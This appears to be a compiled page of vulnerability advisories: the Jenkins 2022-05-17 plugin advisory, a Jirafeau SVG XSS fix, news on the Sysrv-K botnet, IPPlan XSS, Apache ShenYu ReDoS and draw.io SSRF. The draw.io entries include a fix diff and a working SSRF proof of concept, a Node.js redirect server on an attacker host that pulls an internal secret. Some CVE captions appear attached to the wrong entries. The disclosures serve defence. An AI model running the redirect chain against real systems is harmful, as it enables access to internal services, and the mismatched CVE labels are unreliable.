Jenkins Rundeck Plugin 3.6.10 and earlier does not restrict URL schemes in Rundeck webhook submissions, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to submit crafted Rundeck webhook payloads.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Application Detector Plugin
*   Autocomplete Parameter Plugin
*   Blue Ocean Plugin
*   Git Plugin
*   GitLab Plugin
*   Global Variable String Parameter Plugin
*   JDK Parameter Plugin
*   Mercurial Plugin
*   Multiselect parameter Plugin
*   Pipeline SCM API for Blue Ocean Plugin
*   Pipeline: Groovy Plugin
*   Promoted Builds (Simple) Plugin
*   Random String Parameter Plugin
*   REPO Plugin
*   Rundeck Plugin
*   Script Security Plugin
*   Selection tasks Plugin
*   SSH Plugin
*   Storable Configs Plugin
*   vboxwrapper Plugin
*   WMI Windows Agents Plugin

**Descriptions****Sandbox bypass vulnerability through implicitly allowlisted platform Groovy files in Pipeline: Groovy Plugin**

**SECURITY-359 / CVE-2022-30945**

Pipeline: Groovy Plugin allows pipelines to load Groovy source files. This is intended to be used to allow Global Shared Libraries to execute without sandbox protection.

In Pipeline: Groovy Plugin 2689.v434009a\_31b\_f1 and earlier, any Groovy source files bundled with Jenkins core and plugins could be loaded this way and their methods executed. If a suitable Groovy source file is available on the classpath of Jenkins, sandbox protections can be bypassed.

Note

The Jenkins security team has been unable to identify any Groovy source files in Jenkins core or plugins that would allow attackers to execute dangerous code. While the severity of this issue is declared as High due to the potential impact, successful exploitation is considered very unlikely.

Pipeline: Groovy Plugin 2692.v76b\_089ccd026 restricts which Groovy source files can be loaded in Pipelines.

Groovy source files in public plugins intended to be executed in sandboxed pipelines have been identified and added to an allowlist. The new extension point org.jenkinsci.plugins.workflow.cps.GroovySourceFileAllowlist allows plugins to add specific Groovy source files to that allowlist if necessary, but creation of plugin-specific Pipeline DSLs is strongly discouraged.

**CSRF vulnerability in Script Security Plugin**

**SECURITY-2116 / CVE-2022-30946**

Script Security Plugin 1158.v7c1b\_73a\_69a\_08 and earlier does not require POST requests for a form validation endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to have Jenkins send an HTTP request to an attacker-specified webserver.

This form validation method no longer sends HTTP requests in Script Security Plugin 1172.v35f6a\_0b\_8207e.

**Multiple SCM plugins can check out from the controller file system**

**SECURITY-2478 / CVE-2022-30947 (Git), CVE-2022-30948 (Mercurial), CVE-2022-30949 (REPO)**

SCMs support a number of different URL schemes, including local file system paths (e.g. using file: URLs).

Historically in Jenkins, only agents checked out from SCM, and if multiple projects share the same agent, there is no expected isolation between builds besides using different workspaces unless overridden. Some Pipeline-related features check out SCMs from the Jenkins controller as well.

This allows attackers able to configure pipelines to check out some SCM repositories stored on the Jenkins controller’s file system using local paths as SCM URLs, obtaining limited information about other projects' SCM contents. The following Jenkins plugins are known to be affected:

*   Git 4.11.1 and earlier
    
*   Mercurial 2.16 and earlier
    
*   REPO 1.14.0 and earlier
    

Affected plugins have been updated to reject local file paths being checked out on the controller:

*   Git 4.11.2
    
*   Mercurial 2.16.1
    
*   REPO 1.15.0
    

**Multiple vulnerabilities in Windows Remote Command library in WMI Windows Agents Plugin**

**SECURITY-2604 / CVE-2022-30950 (buffer overflow), CVE-2022-30951 (access control)**

WMI Windows Agents Plugin 1.8 and earlier includes the Windows Remote Command library. It provides a general-purpose remote command execution capability that Jenkins uses to check if Java is available, and if not, to install it.

This library has a buffer overflow vulnerability that may allow users able to connect to a named pipe to execute commands on the Windows agent machine.

Additionally, while the processes are started as the user who connects to the named pipe, no access control takes place, potentially allowing users to start processes even if they’re not allowed to log in.

WMI Windows Agents Plugin 1.8.1 no longer includes the Windows Remote Command library. A Java runtime is expected to be available on agent machines and WMI Windows Agents Plugin 1.8.1 does not install a JDK automatically otherwise.

Note

WMI Windows Agents Plugin is the only Jenkins project deliverable the Jenkins project security team is aware of that includes the Windows Remote Command library.

**User-scoped credentials exposed to other users by Pipeline SCM API for Blue Ocean Plugin**

**SECURITY-714 / CVE-2022-30952**

When pipelines are created using the pipeline creation wizard in Blue Ocean, the credentials used are stored in the per-user credentials store of the user creating the pipeline. To allow pipelines to use this credential to scan repositories and checkout from SCM, the Blue Ocean Credentials Provider allows pipelines to access a specific credential from the per-user credentials store in Pipeline SCM API for Blue Ocean Plugin 1.25.3 and earlier.

As a result, attackers with Job/Configure permission can rewrite job configurations in a way that lets them access and capture any attacker-specified credential from any user’s private credentials store.

Pipeline SCM API for Blue Ocean Plugin 1.25.4 deprecates the Blue Ocean Credentials Provider and disables it by default. As a result, all jobs initially set up using the Blue Ocean pipeline creation wizard and configured to use the credential specified at that time will no longer be able to access the credential, resulting in failures to scan repositories, checkout from SCM, etc. unless the repository is public and can be accessed without credentials.

Note

This also applies to newly created pipelines after Pipeline SCM API for Blue Ocean Plugin has been updated to 1.25.4.

Administrators should reconfigure affected pipelines to use a credential from the Jenkins credential store or a folder credential store. See this help page on cloudbees.com to learn more.

To re-enable the Blue Ocean Credentials Provider, set the Java system property io.jenkins.blueocean.rest.impl.pipeline.credential.BlueOceanCredentialsProvider.enabled to true. Doing so is discouraged, as that will restore the unsafe behavior.

Note

While Credentials Plugin provides the _Configure Credential Providers_ UI to enable or disable certain credentials providers, enabling the Blue Ocean Credentials Provider there is not enough in Pipeline SCM API for Blue Ocean Plugin 1.25.4. Both the UI and system property need to enable the Blue Ocean Credentials Provider.

Administrators not immediately able to update Blue Ocean are advised to disable the Blue Ocean Credentials Provider through the UI at _Manage Jenkins » Configure Credential Providers_ and to reconfigure affected pipelines to use a credential from the Jenkins credential store or a folder credential store.

**CSRF vulnerability and missing permission checks in Blue Ocean Plugin**

**SECURITY-2502 / CVE-2022-30953 (CSRF), CVE-2022-30954 (permission check)**

Blue Ocean Plugin 1.25.3 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to send requests to an attacker-specified URL.

Additionally, these endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Blue Ocean Plugin 1.25.4 requires POST requests and the appropriate permissions for the affected HTTP endpoints.

**Missing permission check in GitLab Plugin allows enumerating credentials IDs**

**SECURITY-2753 / CVE-2022-30955**

GitLab Plugin 1.5.31 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

An enumeration of credentials IDs in GitLab Plugin 1.5.32 requires the appropriate permissions.

**Stored XSS vulnerability in Rundeck Plugin**

**SECURITY-2600 / CVE-2022-30956**

Rundeck Plugin 3.6.10 and earlier does not restrict URL schemes in Rundeck webhook submissions.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to submit crafted Rundeck webhook payloads.

Rundeck Plugin 3.6.11 sanitizes URLs submitted in Rundeck webhook payloads.

**Missing permission check in SSH Plugin allows enumerating credentials IDs**

**SECURITY-2315 / CVE-2022-30957**

SSH Plugin 2.6.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

As of publication of this advisory, there is no fix.

**CSRF vulnerability and missing permission checks in SSH Plugin allow capturing credentials**

**SECURITY-2093 / CVE-2022-30958 (CSRF), CVE-2022-30959 (permission check)**

SSH Plugin 2.6.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerabilities in multiple plugins providing additional parameter types**

**SECURITY-2717 / CVE-2022-30960 (Application Detector), CVE-2022-30961 (Autocomplete Parameter), CVE-2022-30962 (Global Variable String Parameter), CVE-2022-30963 (JDK Parameter), CVE-2022-30964 (Multiselect parameter), CVE-2022-30965 (Promoted Builds (Simple)), CVE-2022-30966 (Random String Parameter), CVE-2022-30967 (Selection tasks), CVE-2022-30968 (vboxwrapper)**

Multiple plugins do not escape the name and description of the parameter types they provide:

*   Application Detector Plugin 1.0.8 and earlier (SECURITY-2732 / CVE-2022-30960)
    
*   Autocomplete Parameter Plugin 1.1 and earlier (SECURITY-2729 / CVE-2022-30961)
    
*   Global Variable String Parameter Plugin 1.2 and earlier (SECURITY-2715 / CVE-2022-30962)
    
*   JDK Parameter Plugin 1.0 and earlier (SECURITY-2713 / CVE-2022-30963)
    
*   Multiselect parameter Plugin 1.3 and earlier (SECURITY-2726 / CVE-2022-30964)
    
*   Promoted Builds (Simple) Plugin 1.9 and earlier (SECURITY-2720 / CVE-2022-30965)
    
*   Random String Parameter Plugin 1.0 and earlier (SECURITY-2722 / CVE-2022-30966)
    
*   Selection tasks Plugin 1.0 and earlier (SECURITY-2728 / CVE-2022-30967)
    
*   vboxwrapper Plugin 1.3 and earlier (SECURITY-2734 / CVE-2022-30968)
    

This results in stored cross-site scripting (XSS) vulnerabilites exploitable by attackers with Item/Configure permission.

Exploitation of these vulnerabilities requires that parameters are listed on another page, like the "Build With Parameters" and "Parameters" pages provided by Jenkins (core), and that those pages are not hardened to prevent exploitation. Jenkins (core) has prevented exploitation of vulnerabilities of this kind on the "Build With Parameters" and "Parameters" pages since 2.44 and LTS 2.32.2 as part of the SECURITY-353 / CVE-2017-2601 fix. Additionally, several plugins have previously been updated to list parameters in a way that prevents exploitation by default, see SECURITY-2617 in the 2022-04-12 security advisory for a list.

The following plugins have been updated to escape the name and description of the parameter types they provide in the versions specified:

*   Application Detector Plugin 1.0.9
    
*   Multiselect parameter Plugin 1.4
    

As of publication of this advisory, there is no fix available for the following plugins:

*   Autocomplete Parameter Plugin 1.1 and earlier (SECURITY-2729 / CVE-2022-30961)
    
*   Global Variable String Parameter Plugin 1.2 and earlier (SECURITY-2715 / CVE-2022-30962)
    
*   JDK Parameter Plugin 1.0 and earlier (SECURITY-2713 / CVE-2022-30963)
    
*   Promoted Builds (Simple) Plugin 1.9 and earlier (SECURITY-2720 / CVE-2022-30965)
    
*   Random String Parameter Plugin 1.0 and earlier (SECURITY-2722 / CVE-2022-30966)
    
*   Selection tasks Plugin 1.0 and earlier (SECURITY-2728 / CVE-2022-30967)
    
*   vboxwrapper Plugin 1.3 and earlier (SECURITY-2734 / CVE-2022-30968)
    

**CSRF vulnerability in Autocomplete Parameter Plugin results in RCE**

**SECURITY-2322 / CVE-2022-30969**

Autocomplete Parameter Plugin 1.1 and earlier does not require POST requests for a form validation endpoint executing a provided Groovy script, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to execute arbitrary code without sandbox protection if the victim is an administrator.

As of publication of this advisory, there is no fix.

**Stored XSS vulnerability in Autocomplete Parameter Plugin**

**SECURITY-2267 / CVE-2022-30970**

Autocomplete Parameter Plugin 1.1 and earlier references Dropdown Autocomplete parameter and Auto Complete String parameter names in an unsafe manner from Javascript embedded in view definitions.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

Note

While this looks similar to SECURITY-2729, this is an independent problem and exploitable even on views rendering parameters that otherwise attempt to prevent XSS vulnerabilities in parameter names.

As of publication of this advisory, there is no fix.

**XXE vulnerability in Storable Configs Plugin**

**SECURITY-1969 / CVE-2022-30971 (XXE), CVE-2022-30972 (CSRF)**

Storable Configs Plugin 1.0 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers with Item/Configure permission to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Additionally, the HTTP endpoint calling the XML parser does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

As of publication of this advisory, there is no fix.

**Severity**

*   SECURITY-359: High
*   SECURITY-714: Medium
*   SECURITY-1969: High
*   SECURITY-2093: High
*   SECURITY-2116: Medium
*   SECURITY-2267: High
*   SECURITY-2315: Medium
*   SECURITY-2322: High
*   SECURITY-2478: Low
*   SECURITY-2502: Medium
*   SECURITY-2600: High
*   SECURITY-2604: Medium
*   SECURITY-2717: High
*   SECURITY-2753: Medium

**Affected Versions**

*   **Application Detector Plugin** up to and including 1.0.8
*   **Autocomplete Parameter Plugin** up to and including 1.1
*   **Blue Ocean Plugin** up to and including 1.25.3
*   **Git Plugin** up to and including 4.11.1
*   **GitLab Plugin** up to and including 1.5.31
*   **Global Variable String Parameter Plugin** up to and including 1.2
*   **JDK Parameter Plugin** up to and including 1.0
*   **Mercurial Plugin** up to and including 2.16
*   **Multiselect parameter Plugin** up to and including 1.3
*   **Pipeline SCM API for Blue Ocean Plugin** up to and including 1.25.3
*   **Pipeline: Groovy Plugin** up to and including 2689.v434009a\_31b\_f1
*   **Promoted Builds (Simple) Plugin** up to and including 1.9
*   **Random String Parameter Plugin** up to and including 1.0
*   **REPO Plugin** up to and including 1.14.0
*   **Rundeck Plugin** up to and including 3.6.10
*   **Script Security Plugin** up to and including 1158.v7c1b\_73a\_69a\_08
*   **Selection tasks Plugin** up to and including 1.0
*   **SSH Plugin** up to and including 2.6.1
*   **Storable Configs Plugin** up to and including 1.0
*   **vboxwrapper Plugin** up to and including 1.3
*   **WMI Windows Agents Plugin** up to and including 1.8

**Fix**

*   **Application Detector Plugin** should be updated to version 1.0.9
*   **Blue Ocean Plugin** should be updated to version 1.25.4
*   **Git Plugin** should be updated to version 4.11.2
*   **GitLab Plugin** should be updated to version 1.5.32
*   **Mercurial Plugin** should be updated to version 2.16.1
*   **Multiselect parameter Plugin** should be updated to version 1.4
*   **Pipeline SCM API for Blue Ocean Plugin** should be updated to version 1.25.4
*   **Pipeline: Groovy Plugin** should be updated to version 2692.v76b\_089ccd026
*   **REPO Plugin** should be updated to version 1.14.1
*   **Rundeck Plugin** should be updated to version 3.6.11
*   **Script Security Plugin** should be updated to version 1172.v35f6a\_0b\_8207e
*   **WMI Windows Agents Plugin** should be updated to version 1.8.1

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Autocomplete Parameter Plugin
*   Global Variable String Parameter Plugin
*   JDK Parameter Plugin
*   Promoted Builds (Simple) Plugin
*   Random String Parameter Plugin
*   Selection tasks Plugin
*   SSH Plugin
*   Storable Configs Plugin
*   vboxwrapper Plugin

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-1969, SECURITY-2478
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-359
*   **Kalle Niemitalo, Procomp Solutions Oy** for SECURITY-2604
*   **Kevin Guerroudj** for SECURITY-2267
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2600, SECURITY-2753
*   **Kevin Guerroudj, CloudBees, Inc., Wadeck Follonier, CloudBees, Inc., and Daniel Beck, CloudBees, Inc.** for SECURITY-2717
*   **Kevin Guerroudj, Justin Philip, Marc Heyries, Wadeck Follonier, CloudBees, Inc.** for SECURITY-2322
*   **Long Nguyen, Viettel Cyber Security** for SECURITY-2093
*   **Tanner Emek from Tinder Security Labs** for SECURITY-2502
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-2315

CVE-2022-30956: Jenkins Security Advisory 2022-05-17

A missing permission check in Jenkins SSH Plugin 2.6.1 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified SSH server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVE-2022-30959: Jenkins Security Advisory 2022-05-17

The file preview functionality in Jirafeau < 4.4.0, which is enabled by default, could be exploited for cross site scripting. An attacker could upload image/svg+xml files containing JavaScript. When someone visits the File Preview URL for this file, the JavaScript inside of this image/svg+xml file will be executed in the users' browser.

Merged requested to merge wouterdedroog/Jirafeau:master into next-release Mar 21, 2022

*   Overview 1
*   Commits 3
*   Changes 6

This PR fixes the issue I've privately disclosed in #284.

EDIT: Since this issue is now fixed I feel comfortable in sharing the details. In Jirafeau versions before 4.4.0, it was possible to exploit the File Preview functionality to execute JavaScript for every user that visited a specifically crafted file preview.

This was possible because image/svg+xml were directly shown to the user. image/svg+xml files can contain executable JavaScript, meaning that a malicious actor could upload an SVG file containing JavaScript. When a user would visit this page, the JavaScript embedded in this file would be executed. This could for example lead to account takeovers or redirect users to phishing pages.

As an example, the following SVG file could be uploaded: test.svg. When a user visits the Jirafeau preview link for this image in versions before 4.4.0, an alert box will open with the current URL.

Edited Apr 30, 2022 by Wouter de Droog

CVE-2022-30110: [BUGFIX] Disallow file preview for image/svg+xml files (!103) · Merge requests · Jérôme Jutteau / Jirafeau · GitLab

Microsoft researchers say they are tracking a botnet that is leveraging bugs in the Spring Framework and WordPress plugins.

Microsoft researchers say they are tracking a botnet that is leveraging bugs in the Spring Framework and WordPress plugins.

Unpatched vulnerabilities in the Spring Framework and WordPress plugins are being exploited by cybercriminals behind the Sysrv botnet to target Linux and Windows systems. The goal, according to researchers, is to infect systems with cryptomining malware.

The botnet variant is being called Sysrv-K by Microsoft Security Intelligence researchers that posted a thread on Twitter revealing details of the botnet variant.

Researchers said criminals behind Sysrv-K have programmed their bot army to scan for instances of the flaws in WordPress plugins as well as a recent remote code execution (RCE) flaw in the Spring Cloud Gateway (CVE-2022-22947).  
  
“These vulnerabilities, which have all been addressed by security updates, include old vulnerabilities in WordPress plugins, as well as newer vulnerabilities like CVE-2022-22947. Once running on a device, Sysrv-K deploys a cryptocurrency miner,” said Microsoft Security Intelligence in a tweet.

> We encountered a new variant of the Sysrv botnet, known for exploiting vulnerabilities in web apps and databases to install coin miners on both Windows and Linux systems. The new variant, which we call Sysrv-K, sports additional exploits and can gain control of web servers.
> 
> — Microsoft Security Intelligence (@MsftSecIntel) May 13, 2022

The Spring Cloud is an open-source library that eases the process of developing the JVM application for the cloud and the Spring Cloud Gateway provides a library for building API Gateways for Spring and Java.

The CVE-2022-22947 is a code injection vulnerability in the Spring Cloud Gateway library and an attacker can perform remote code execution (RCE) on unpatched hosts. The flaw affected the VMware and Oracle products and it has been marked as critical by both the vendors.

****Working of Sysrv-K****

The Microsoft security intelligence team warned that Sysrv-K can gain control of the web servers by scanning the internet for various vulnerabilities to install itself. The vulnerabilities range from RCE to an arbitrary file download and path traversal to remote file disclosure.

The security researcher at Lacework Labs and Juniper Threat Labs observed two main components of malware that is to spread itself across networks by scanning the internet for vulnerable systems and installing the XMRig cryptocurrency miner (used for mining Monero) following a surge of activity in March 2021.

The new feature of Sysrv-K is that it scans for WordPress config files and their backups to steal credentials and gain access to the webserver. Apart from this “Sysvr-K has updated communication capabilities, including the ability to use a Telegram bot” Microsoft added.

“Like older variants, Sysrv-K scans for SSH keys, IP addresses, and host names, and then attempts to connect to other systems in the network via SSH to deploy copies of itself. This could put the rest of the network at risk of becoming part of the Sysrv-K botnet” the Microsoft security intelligence team reported.

Microsoft advised the organizations to secure internet-facing Linux or Windows systems, timely apply security updates, and protect credentials. “Microsoft Defender for Endpoint detects Sysrv-K and older Sysrv variants, as well as related behavior and payloads,” they added.

The critical RCE, Worms, and 6 Zero-days including (CVE-2022-22947) were faced by Microsoft in January 2022.

Sysrv-K Botnet Targets Windows, Linux

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.5.

**Description**

Through the ProxyServlet external content can be retrieved. This can be done by providing a URL in the url query parameter. There are a few restrictions in place, especially internal hosts are forbidden. The validation of the url parameter looks as follows:

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L233-L282

        public boolean checkUrlParameter(String url)
        {
            if (url != null)
            {
                try
                {
                    URL parsedUrl = new URL(url);
                    String protocol = parsedUrl.getProtocol();
                    String host = parsedUrl.getHost().toLowerCase();
    
                    return (protocol.equals("http") || protocol.equals("https"))
                            && !host.endsWith(".internal")
                            && !host.endsWith(".local")
                            && !host.contains("localhost")
                            && !host.startsWith("0.") // 0.0.0.0/8
                            && !host.startsWith("10.") // 10.0.0.0/8
                            && !host.startsWith("127.") // 127.0.0.0/8
                            && !host.startsWith("169.254.") // 169.254.0.0/16
                            && !host.startsWith("172.16.") // 172.16.0.0/12
                            && !host.startsWith("172.17.") // 172.16.0.0/12
                            && !host.startsWith("172.18.") // 172.16.0.0/12
                            && !host.startsWith("172.19.") // 172.16.0.0/12
                            && !host.startsWith("172.20.") // 172.16.0.0/12
                            && !host.startsWith("172.21.") // 172.16.0.0/12
                            && !host.startsWith("172.22.") // 172.16.0.0/12
                            && !host.startsWith("172.23.") // 172.16.0.0/12
                            && !host.startsWith("172.24.") // 172.16.0.0/12
                            && !host.startsWith("172.25.") // 172.16.0.0/12
                            && !host.startsWith("172.26.") // 172.16.0.0/12
                            && !host.startsWith("172.27.") // 172.16.0.0/12
                            && !host.startsWith("172.28.") // 172.16.0.0/12
                            && !host.startsWith("172.29.") // 172.16.0.0/12
                            && !host.startsWith("172.30.") // 172.16.0.0/12
                            && !host.startsWith("172.31.") // 172.16.0.0/12
                            && !host.startsWith("192.0.0.") // 192.0.0.0/24
                            && !host.startsWith("192.168.") // 192.168.0.0/16
                            && !host.startsWith("198.18.") // 198.18.0.0/15
                            && !host.startsWith("198.19.") // 198.18.0.0/15
                            && !host.endsWith(".arpa"); // reverse domain (needed?)
                }
                catch (MalformedURLException e)
                {
                    return false;
                }
            }
            else
            {
                return false;
            }
        }
    

All of the restrictions of the URL validation function can be bypassed. The cause for this can be found in the doGet method. The URL validation check is performed only on the initial url parameter in the GET request.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L65-L71

        protected void doGet(HttpServletRequest request,
                HttpServletResponse response) throws ServletException, IOException
        {
            String urlParam = request.getParameter("url");
    
            if (checkUrlParameter(urlParam))
            {
    

After the initial request, potential redirects are followed. However, there are no checks against the value of the Location header, which will be used for the URLConnection on subsequent requests.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L113-L143

                        // Follows a maximum of 6 redirects 
                        while (counter++ <= 6
                                && (status == HttpURLConnection.HTTP_MOVED_PERM
                                        || status == HttpURLConnection.HTTP_MOVED_TEMP))
                        {
                            url = new URL(connection.getHeaderField("Location"));
                            connection = url.openConnection();
                            ((HttpURLConnection) connection)
                                    .setInstanceFollowRedirects(true);
                            connection.setConnectTimeout(TIMEOUT);
                            connection.setReadTimeout(TIMEOUT);
    
                            // Workaround for 451 response from Iconfinder CDN
                            connection.setRequestProperty("User-Agent", "draw.io");
                            status = ((HttpURLConnection) connection)
                                    .getResponseCode();
                        }
    
                        if (status >= 200 && status <= 299)
                        {
                            response.setStatus(status);
                            
                            // Copies input stream to output stream
                            InputStream is = connection.getInputStream();
                            byte[] head = (contentAlwaysAllowed(urlParam)) ? emptyBytes
                                    : Utils.checkStreamContent(is);
                            response.setContentType("application/octet-stream");
                            String base64 = request.getParameter("base64");
                            copyResponse(is, out, head,
                                    base64 != null && base64.equals("1"));
                        }
    

This allows sending HTTP requests to arbitrary internal and external hosts/URLs and bypassing the restrictions of the validation function.

**Proof of Concept**

For the proof of concept we have three servers, one attacker controlled server, the server where the draw.io webapp is located, and an internal server that contains a secret.

**Attacker server:**  
This server serves the purpose of redirecting to URLs of the attackers choice. For example the following script, saved as server.js can be run with Node.js (node server.js):

    const http = require('http');
    
    const requestListener = function (req, res) {
      res.writeHead(301, {
          "Location": "http://127.0.0.1:9001/"
      });
      res.end();
    }
    
    const server = http.createServer(requestListener);
    server.listen(9000);
    

For this PoC this server runs under hax.7085.at:9000.

**draw.io web app**  
The draw.io webapp is located under draw.7085.at:8080/draw.

**Internal server**  
The internal server is located under 127.0.0.1:9001.

    const http = require('http');
    
    const requestListener = function (req, res) {
      res.writeHead(200, {
        "Content-Type": "text/html"
      });
      res.end("<html>internal secret</html>");
    }
    
    const server = http.createServer(requestListener);
    server.listen(9001);
    

After everything is set up, then a request to the ProxyServlet of the draw.io web app can be sent by providing the URL to the attackers server in the url parameter in the following format: <url-to-webapp-host>/proxy?url=http://hax.7085.at:9000/. So the URL in this case would be http://draw.7085.at:8080/draw/proxy?url=http://hax.7085.at:9000/.

Sending a request to this URL will bypass the restrictions and reveal the secret of the internal server.

**Impact**

It allows sending HTTP requests to arbitrary hosts, bypassing the URL restrictions and accessing otherwise forbidden internal hosts, reading the full response.

CVE-2022-1711: SSRF via Unvalidated Redirects in ProxyServlet in drawio

Stored cross-site scripting (XSS) in admin/usermanager.php over IPPlan v4.92b allows remote attackers to inject arbitrary web script or HTML via the userid parameter.

May 16, 2022 Uncategorized

Stored cross-site scripting (XSS) in admin/usermanager.php over IPPlan v4.92b allows remote attackers to inject arbitrary web script or HTML via the userid parameter

*   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42943
*   https://vuldb.com/?id.200027

**Details**

In a nutshell, given the lack of validations among certain input fields controlled by the user, we can only notice a “trim” for the userid parameter(code:admin/usermanager.php -> administrator$userid=trim($userid);) that’s also accepting strings in a form that should not be controlled by the user during the user creation:

User creation

Given the way this data is stored in the database and rendered by the PHP application (i.e., directly from the DB), it makes possible to proceed with different set of injections such as the example below with our javascript injection, corresponding the CVE-2021-42943

DB data

Persistent XSS PoC

**Remediation**

Although ipplan isn’t a brand new application, it seems we have different organizations relying on its functionalities as the information provided can be very useful in order to track the network segmentation across a given environment. If this is your scenario and you want to get rid of such vulnerabilities, ensure to avoid the user ID parameter of the UI and let the database control such information with the proper increment, having the primary keys and foreign keys accordingly which will require a few changes on the code and also in the database structure. Another option that can reduce the impact of such scenario is to use an INT data type for your column. Also, ensure to add the validation/sanitization such as the usage of htmlspecialchars() function within PHP in order to convert special characters to HTML entities correctly.

CVE-2021-42943: CVE-2021-42943 – Summary – Paulo Hennig

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.6.

@@ -11,11 +11,9 @@ import java.io.InputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.net.UnknownHostException; import java.net.InetAddress; import java.util.logging.Level; import java.util.logging.Logger;  
@@ -68,7 +66,7 @@ protected void doGet(HttpServletRequest request, { String urlParam = request.getParameter("url");  
if (checkUrlParameter(urlParam)) if (Utils.sanitizeUrl(urlParam)) { // build the UML source from the compressed request parameter String ref = request.getHeader("referer"); @@ -118,7 +116,7 @@ protected void doGet(HttpServletRequest request, { String redirectUrl = connection.getHeaderField("Location");  
if (!checkUrlParameter(redirectUrl)) if (!Utils.sanitizeUrl(redirectUrl)) { break; } @@ -235,72 +233,6 @@ protected void copyResponse(InputStream is, OutputStream out, byte\[\] head, } }  
/\*\* \* Checks if the URL parameter is legal. \*/ public boolean checkUrlParameter(String url) { if (url != null) { try { URL parsedUrl = new URL(url); String protocol = parsedUrl.getProtocol(); String host = parsedUrl.getHost(); InetAddress address = InetAddress.getByName(host); String hostAddress = address.getHostAddress(); host = host.toLowerCase();  
return (protocol.equals("http") || protocol.equals("https")) && !address.isAnyLocalAddress() && !address.isLoopbackAddress() && !address.isLinkLocalAddress() && !host.endsWith(".internal") // Redundant && !host.endsWith(".local") // Redundant && !host.contains("localhost") // Redundant && !hostAddress.startsWith("0.") // 0.0.0.0/8 && !hostAddress.startsWith("10.") // 10.0.0.0/8 && !hostAddress.startsWith("127.") // 127.0.0.0/8 && !hostAddress.startsWith("169.254.") // 169.254.0.0/16 && !hostAddress.startsWith("172.16.") // 172.16.0.0/12 && !hostAddress.startsWith("172.17.") // 172.16.0.0/12 && !hostAddress.startsWith("172.18.") // 172.16.0.0/12 && !hostAddress.startsWith("172.19.") // 172.16.0.0/12 && !hostAddress.startsWith("172.20.") // 172.16.0.0/12 && !hostAddress.startsWith("172.21.") // 172.16.0.0/12 && !hostAddress.startsWith("172.22.") // 172.16.0.0/12 && !hostAddress.startsWith("172.23.") // 172.16.0.0/12 && !hostAddress.startsWith("172.24.") // 172.16.0.0/12 && !hostAddress.startsWith("172.25.") // 172.16.0.0/12 && !hostAddress.startsWith("172.26.") // 172.16.0.0/12 && !hostAddress.startsWith("172.27.") // 172.16.0.0/12 && !hostAddress.startsWith("172.28.") // 172.16.0.0/12 && !hostAddress.startsWith("172.29.") // 172.16.0.0/12 && !hostAddress.startsWith("172.30.") // 172.16.0.0/12 && !hostAddress.startsWith("172.31.") // 172.16.0.0/12 && !hostAddress.startsWith("192.0.0.") // 192.0.0.0/24 && !hostAddress.startsWith("192.168.") // 192.168.0.0/16 && !hostAddress.startsWith("198.18.") // 198.18.0.0/15 && !hostAddress.startsWith("198.19.") // 198.18.0.0/15 && !hostAddress.startsWith("fc00::") // fc00::/7 https://stackoverflow.com/questions/53764109/is-there-a-java-api-that-will-identify-the-ipv6-address-fd00-as-local-private && !hostAddress.startsWith("fd00::") // fd00::/8 && !host.endsWith(".arpa"); // reverse domain (needed?) } catch (MalformedURLException e) { return false; } catch (UnknownHostException e) { return false; } } else { return false; } }  
/\*\* \* Returns true if the content check should be omitted. \*/

CVE-2022-1723: 18.0.6 release · jgraph/drawio@7a68ebe

In Apache ShenYui, ShenYu-Bootstrap, RegexPredicateJudge.java uses Pattern.matches(conditionData.getParamValue(), realData) to make judgments, where both parameters are controllable by the user. This can cause an attacker pass in malicious regular expressions and characters causing a resource exhaustion. This issue affects Apache ShenYu (incubating) 2.4.0, 2.4.1 and 2.4.2 and is fixed in 2.4.3.

**Email display mode:**

Modern rendering  
Legacy rendering

CVE-2022-26650

Maintainers of open source software (OSS) will gain additional security tools for their own projects, while the developers who use OSS — and about 97% of software does — will gain more data on security.

